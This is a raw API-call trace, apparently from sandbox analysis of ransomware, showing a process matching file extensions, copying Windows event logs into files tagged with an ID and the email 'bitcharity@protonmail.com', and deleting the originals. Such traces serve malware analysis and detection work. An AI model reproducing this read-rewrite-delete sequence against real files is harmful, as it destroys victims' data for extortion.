lstrlenW (lpString=".jpg") returned 4 [0150.352] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.353] lstrlenW (lpString=".doc") returned 4 [0150.353] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".docx") returned 5 [0150.353] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.353] lstrlenW (lpString=".pdf") returned 4 [0150.353] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".xls") returned 4 [0150.353] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".xlsx") returned 5 [0150.353] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.353] lstrlenW (lpString=".ppt") returned 4 [0150.353] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.353] lstrlenW (lpString=".zip") returned 4 [0150.353] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".rar") returned 4 [0150.353] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".bz2") returned 4 [0150.353] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString=".7z") returned 3 [0150.353] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.353] lstrlenW (lpString=".dbf") returned 4 [0150.353] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.353] lstrlenW (lpString=".1cd") returned 4 [0150.353] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.354] lstrlenW (lpString=".jpg") returned 4 [0150.354] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.354] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.354] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0150.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0150.354] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0150.354] CloseHandle (hObject=0x10b4) returned 1 [0150.354] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0150.355] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.355] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0150.355] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.355] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.355] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0150.355] GetLastError () returned 0x0 [0150.355] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.450] WriteFile (in: hFile=0x10e4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.454] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.454] WriteFile (in: hFile=0x10e4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0150.454] SetEndOfFile (hFile=0x10e4) returned 1 [0150.454] CloseHandle (hObject=0x10e4) returned 1 [0150.457] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.457] SetEndOfFile (hFile=0x10b4) returned 1 [0150.458] CloseHandle (hObject=0x10b4) returned 1 [0150.458] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.459] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0150.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.459] lstrlenW (lpString=".doc") returned 4 [0150.459] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.459] lstrlenW (lpString=".docx") returned 5 [0150.459] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.459] lstrlenW (lpString=".pdf") returned 4 [0150.459] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.459] lstrlenW (lpString=".xls") returned 4 [0150.459] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.459] lstrlenW (lpString=".xlsx") returned 5 [0150.459] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.459] lstrlenW (lpString=".ppt") returned 4 [0150.459] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.459] lstrlenW (lpString=".zip") returned 4 [0150.460] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".rar") returned 4 [0150.460] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".bz2") returned 4 [0150.460] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".7z") returned 3 [0150.460] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.460] lstrlenW (lpString=".dbf") returned 4 [0150.460] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.460] lstrlenW (lpString=".1cd") returned 4 [0150.460] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.460] lstrlenW (lpString=".jpg") returned 4 [0150.460] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.460] lstrlenW (lpString=".doc") returned 4 [0150.460] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".docx") returned 5 [0150.460] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.460] lstrlenW (lpString=".pdf") returned 4 [0150.460] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".xls") returned 4 [0150.460] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.460] lstrlenW (lpString=".xlsx") returned 5 [0150.460] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.460] lstrlenW (lpString=".ppt") returned 4 [0150.461] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.461] lstrlenW (lpString=".zip") returned 4 [0150.461] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString=".rar") returned 4 [0150.461] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString=".bz2") returned 4 [0150.461] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString=".7z") returned 3 [0150.461] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.461] lstrlenW (lpString=".dbf") returned 4 [0150.461] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.461] lstrlenW (lpString=".1cd") returned 4 [0150.461] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0150.461] lstrlenW (lpString=".jpg") returned 4 [0150.461] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.461] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.462] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0150.462] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0150.590] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0150.591] CloseHandle (hObject=0x10ec) returned 1 [0150.592] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0150.594] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0150.596] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.597] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.598] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.606] GetLastError () returned 0x0 [0150.606] ReadFile (in: hFile=0x10ec, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.204] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.220] ReadFile (in: hFile=0x10ec, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.220] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x126, lpOverlapped=0x0) returned 1 [0151.220] SetEndOfFile (hFile=0x10c0) returned 1 [0151.221] CloseHandle (hObject=0x10c0) returned 1 [0151.226] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] SetEndOfFile (hFile=0x10ec) returned 1 [0151.229] CloseHandle (hObject=0x10ec) returned 1 [0151.229] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.230] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0151.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.333] lstrlenW (lpString=".doc") returned 4 [0151.333] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.333] lstrlenW (lpString=".docx") returned 5 [0151.333] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.333] lstrlenW (lpString=".pdf") returned 4 [0151.333] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.333] lstrlenW (lpString=".xls") returned 4 [0151.333] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.333] lstrlenW (lpString=".xlsx") returned 5 [0151.333] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.333] lstrlenW (lpString=".ppt") returned 4 [0151.333] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.333] lstrlenW (lpString=".zip") returned 4 [0151.333] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.333] lstrlenW (lpString=".rar") returned 4 [0151.333] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString=".bz2") returned 4 [0151.334] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString=".7z") returned 3 [0151.334] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.334] lstrlenW (lpString=".dbf") returned 4 [0151.334] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.334] lstrlenW (lpString=".1cd") returned 4 [0151.334] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.334] lstrlenW (lpString=".jpg") returned 4 [0151.334] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.334] lstrlenW (lpString=".doc") returned 4 [0151.334] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString=".docx") returned 5 [0151.334] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.334] lstrlenW (lpString=".pdf") returned 4 [0151.334] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString=".xls") returned 4 [0151.334] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.334] lstrlenW (lpString=".xlsx") returned 5 [0151.413] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.414] lstrlenW (lpString=".ppt") returned 4 [0151.414] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.414] lstrlenW (lpString=".zip") returned 4 [0151.414] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString=".rar") returned 4 [0151.414] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString=".bz2") returned 4 [0151.414] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString=".7z") returned 3 [0151.414] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.414] lstrlenW (lpString=".dbf") returned 4 [0151.414] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.414] lstrlenW (lpString=".1cd") returned 4 [0151.414] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0151.414] lstrlenW (lpString=".jpg") returned 4 [0151.414] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.414] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.415] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0151.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.599] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0151.599] CloseHandle (hObject=0x10d0) returned 1 [0151.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0151.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.600] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.600] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0151.601] GetLastError () returned 0x0 [0151.601] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.658] WriteFile (in: hFile=0x10cc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.660] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.660] WriteFile (in: hFile=0x10cc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x128, lpOverlapped=0x0) returned 1 [0151.660] SetEndOfFile (hFile=0x10cc) returned 1 [0151.660] CloseHandle (hObject=0x10cc) returned 1 [0151.663] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.663] SetEndOfFile (hFile=0x10d0) returned 1 [0151.665] CloseHandle (hObject=0x10d0) returned 1 [0151.665] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.665] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0151.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.666] lstrlenW (lpString=".doc") returned 4 [0151.666] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".docx") returned 5 [0151.666] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.666] lstrlenW (lpString=".pdf") returned 4 [0151.666] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".xls") returned 4 [0151.666] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".xlsx") returned 5 [0151.666] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.666] lstrlenW (lpString=".ppt") returned 4 [0151.666] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.666] lstrlenW (lpString=".zip") returned 4 [0151.666] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".rar") returned 4 [0151.666] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".bz2") returned 4 [0151.666] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.666] lstrlenW (lpString=".7z") returned 3 [0151.666] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString=".dbf") returned 4 [0151.667] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString=".1cd") returned 4 [0151.667] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString=".jpg") returned 4 [0151.667] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString=".doc") returned 4 [0151.667] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString=".docx") returned 5 [0151.667] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.667] lstrlenW (lpString=".pdf") returned 4 [0151.667] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString=".xls") returned 4 [0151.667] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString=".xlsx") returned 5 [0151.667] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.667] lstrlenW (lpString=".ppt") returned 4 [0151.667] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.667] lstrlenW (lpString=".zip") returned 4 [0151.667] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.668] lstrlenW (lpString=".rar") returned 4 [0151.668] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.668] lstrlenW (lpString=".bz2") returned 4 [0151.668] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.668] lstrlenW (lpString=".7z") returned 3 [0151.668] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.668] lstrlenW (lpString=".dbf") returned 4 [0151.668] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.668] lstrlenW (lpString=".1cd") returned 4 [0151.668] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0151.668] lstrlenW 